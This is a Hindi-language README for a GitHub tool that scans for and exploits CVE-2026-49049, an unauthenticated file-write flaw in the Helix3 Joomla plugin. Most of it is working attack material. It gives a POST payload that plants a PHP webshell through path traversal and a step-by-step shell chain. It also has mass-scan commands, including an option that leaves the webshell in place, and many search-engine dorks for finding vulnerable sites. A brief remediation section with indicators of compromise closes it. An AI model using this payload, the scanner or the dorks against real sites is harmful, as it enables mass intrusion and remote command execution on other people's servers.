
CVE-2026-49049 Helix3 (JoomShaper) Joomla अप्रमाणित AJAX RCE स्कैनर
मास स्कैनर / सत्यापनकर्ता CVE-2026-49049 के लिए: Joomla के Helix3 Framework प्लगइन में अप्रमाणित AJAX हैंडलर (v1.0 – 3.1.0, 3.1.1+ में पैच किया गया)।
केवल अधिकृत परीक्षण। केवल उन प्रणालियों पर उपयोग करें जिनके आप मालिक हैं या जिनके परीक्षण की लिखित अनुमति है।
हैंडलर onAjaxHelix3() फ़ाइल plugins/ajax/helix3/helix3.php में Joomla com_ajax के माध्यम से बिना प्रमाणीकरण / CSRF टोकन के पहुँच योग्य है:
POST /index.php?option=com_ajax&plugin=helix3&format=json
Content-Type: application/x-www-form-urlencoded
data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET['cmd']); ?>
| क्रिया | प्रभाव | संस्करण |
|---|---|---|
save | मनमाना JSON फ़ाइल लेखन + पथ ट्रैवर्सल | 1.0 – 3.1.0 |
remove | मनमाना फ़ाइल हटाना (कोई एक्सटेंशन/पथ प्रतिबंध नहीं) | 1.0 – 3.1.0 |
import | DB में टेम्पलेट पैरामीटर अधिलेखित (custom_js अनएस्केप्ड → XSS/विकृति) | केवल v3.x |
| Helix3 संस्करण | save / remove | import | स्थिति |
|---|---|---|---|
| 1.0 – 2.x | असुरक्षित | मौजूद नहीं | असुरक्षित |
| 3.0 – 3.1.0 | असुरक्षित | असुरक्षित | असुरक्षित |
| 3.1.1+ | पैच किया गया | पैच किया गया | सुरक्षित |
सक्रिय सामूहिक शोषण अक्सर डबल-एक्सटेंशन वेबशेल गिराता है:
< 3.1.1 का पता लगाएँsave का उपयोग layoutName=../../up.php + PHP वेबशेल सामग्री के साथ करें.json जोड़ता है → up.php.json वेब रूट में आता हैAddHandler मल्टी-एक्सटेंशन .php टोकन को निष्पादित करता हैGET /up.php.json?cmd=id → uid=33(www-data) = SHELL OKडिटेक्ट Helix3
→ POST com_ajax?plugin=helix3 (action=save, traversal)
→ up.php.json लिखा
→ GET up.php.json?cmd=id
→ uid=33(www-data)
git clone https://github.com/ExDev994/CVE-2026-49049.git
cd CVE-2026-49049
pip install -r requirements.txt
आवश्यकताएँ: requests>=2.31.0, colorama>=0.4.6, Python 3.9+।
targets.txt संपादित करें — प्रति पंक्ति एक URL/होस्ट (# = टिप्पणी)। Joomla पथ बनाए रखा गया है:
# उदाहरण
https://example.com/
https://example.com/joomla/
http://192.168.1.50/
वेबशेल ड्रॉप नहीं करता। संस्करण जाँच + save / remove / import प्रोब करें:
python3 scan.py -f targets.txt --scan -o results.txt
python3 scan.py -f targets.txt --auto -c "id" -o results.txt
python3 scan.py -t https://target.tld/joomla/ --auto -c "id"
# सत्यापन के बाद वेबशेल रखें (अधिकृत डेमो)
python3 scan.py -f targets.txt --auto --keep
# कस्टम वेबशेल नाम + ट्रैवर्सल गहराई
python3 scan.py -f targets.txt --auto \
--webshell-name up.php \
--traversal-depths "../../,../../../"
# JSON रिपोर्ट + समवर्तीता
python3 scan.py -f targets.txt --auto -c "whoami" \
--threads 20 --timeout 15 \
-o results.txt --json report.json
# प्रॉक्सी (Burp / आदि)
python3 scan.py -t https://target.tld/ --scan --proxy http://127.0.0.1:8080
| फ़्लैग | विवरण |
|---|---|
-f / --file | लक्ष्य फ़ाइल सूची (डिफ़ॉल्ट: targets.txt यदि -t अनुपस्थित) |
-t / --target | एकल लक्ष्य URL |
--scan | केवल-पढ़ने के लिए पहचान |
--auto | पहचान + RCE सत्यापन (डिफ़ॉल्ट) |
-c / --cmd | कमांड सत्यापन (डिफ़ॉल्ट: id) |
-o / --output | परिणाम फ़ाइल — केवल VULN / SHELL_OK लक्ष्य |
--json | संरचित JSON रिपोर्ट |
--keep | सत्यापन के बाद वेबशेल को ऑटो-हटाएँ नहीं |
--threads | समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 15) |
--timeout | HTTP टाइमआउट सेकंड (डिफ़ॉल्ट: 15) |
चेतावनी: मोड
--autoपथ ट्रैवर्सल के माध्यम से वेबशेल लिखने का प्रयास करता है। डिफ़ॉल्ट: सत्यापन के बाद वेबशेल हटा दिया जाता है। केवल अधिकृत डेमो के लिए--keepका उपयोग करें।
टर्मिनल सभी स्थितियाँ दिखाता है (प्रगति)। results.txt केवल वही रखता है जो असुरक्षित हैं:
[v] CVE-2026-49049 SHELL OK https://target.tld Helix3 2.5.6 save=Y remove=Y import=N
[id] -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell: https://target.tld/up.php.json?cmd=id
[ ] VULN (no shell) https://target.tld Helix3 3.0.2 save=Y remove=Y import=Y
अन्य लेबल (PATCHED, NOT_HELIX3, TIMEOUT, UNKNOWN) केवल टर्मिनल में, results.txt में नहीं।
नीचे दिए गए डॉर्क का उपयोग Helix3 / Joomla संपत्तियों को खोजने के लिए करें जो प्रभावित हो सकती हैं। केवल अनुमत लक्ष्यों को स्कैन करें।
inurl:templates/shaper_helix3/templateDetails.xml
inurl:"templates/shaper_helix3"
"shaper_helix3" "Joomla"
inurl:index.php?option=com_ajax "helix3"
"powered by Helix" Joomla
intitle:"Home" "shaper_helix3"
inurl:/templates/helix3/
http.html:"shaper_helix3"
http.html:"Helix3" http.html:"Joomla"
http.title:"Joomla" "shaper_helix3"
http.html:"/templates/shaper_helix3/"
http.html:"joomshaper" product:"Joomla"
html:"plg_system_helix3"
body="shaper_helix3"
body="/templates/shaper_helix3/" && body="Joomla"
body="Helix3" && body="joomshaper"
body="plg_ajax_helix3" || body="onAjaxHelix3"
title="Joomla" && body="shaper_helix3"
body="templateDetails.xml" && body="helix3"
# संस्करण जाँच
curl -sk 'https://TARGET/templates/shaper_helix3/templateDetails.xml' | grep -i version
# बिना प्रमाणीकरण save प्रोब (केवल अधिकृत)
curl -sk -X POST \
'https://TARGET/index.php?option=com_ajax&plugin=helix3&format=json' \
-d 'data[action]=save&data[layoutName]=_test_probe&data[content]={"probe":"test"}'
System – Helix3 Framework और Helix3 – Ajax प्लगइन को 3.1.1 या नए (अनुशंसित 3.1.2) में अपडेट करें।
अपडेट DB में पहले से डाले गए पेलोड को साफ़ नहीं करता।
#__template_styles में params कॉलम को custom_js / custom_css इंजेक्शन के लिए जाँचेंtmp / media में संदिग्ध फ़ाइलें हटाएँ:
up.php.json, cox.json, *.php.json, अन्य वेबशेलसामान्य समझौता संकेत: विकृति "Hacked by AntonKill" / "trenggalek6etar", custom_js इंजेक्शन, अज्ञात JSON फ़ाइलें।
Apache — AddHandler मल्टी-एक्सटेंशन का उपयोग न करें; इसके बजाय उपयोग करें:
<FilesMatch "\.php$">
SetHandler application/x-httpd-php
</FilesMatch>